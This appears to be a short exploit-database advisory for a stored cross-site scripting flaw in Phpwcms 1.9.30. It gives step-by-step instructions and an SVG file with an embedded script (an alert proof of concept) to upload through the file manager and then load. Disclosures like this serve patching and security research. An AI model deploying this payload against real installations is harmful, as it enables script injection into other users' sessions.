Phpwcms 1.9.30 Cross Site Scripting

2021.10.02
Credit: Okan Kurtulus
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Phpwcms 1.9.30 - File Upload to XSS # Date: 30/9/2021 # Exploit Author: Okan Kurtulus | okankurtulus.com.tr # Software Link: http://www.phpwcms.org/ # Version: 1.9.30 # Tested on: Ubuntu 16.04 Steps: 1-) You need to login to the system. http://target.com/phpwcms/login.php 2-) Creating payload with SVG extension: payload.svg <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript"> alert("XSS!"); </script> </svg> 3-) Go to the following link and upload the payload: http://target.com/phpwcms/phpwcms.php?csrftoken=b72d02a26550b9877616c851aa6271be&do=files&p=8 From the menu: file -> multiple file upload -> Select files or drop here 4-) After uploading payload, call it from the link below. http://192.168.1.112/phpwcms/upload/


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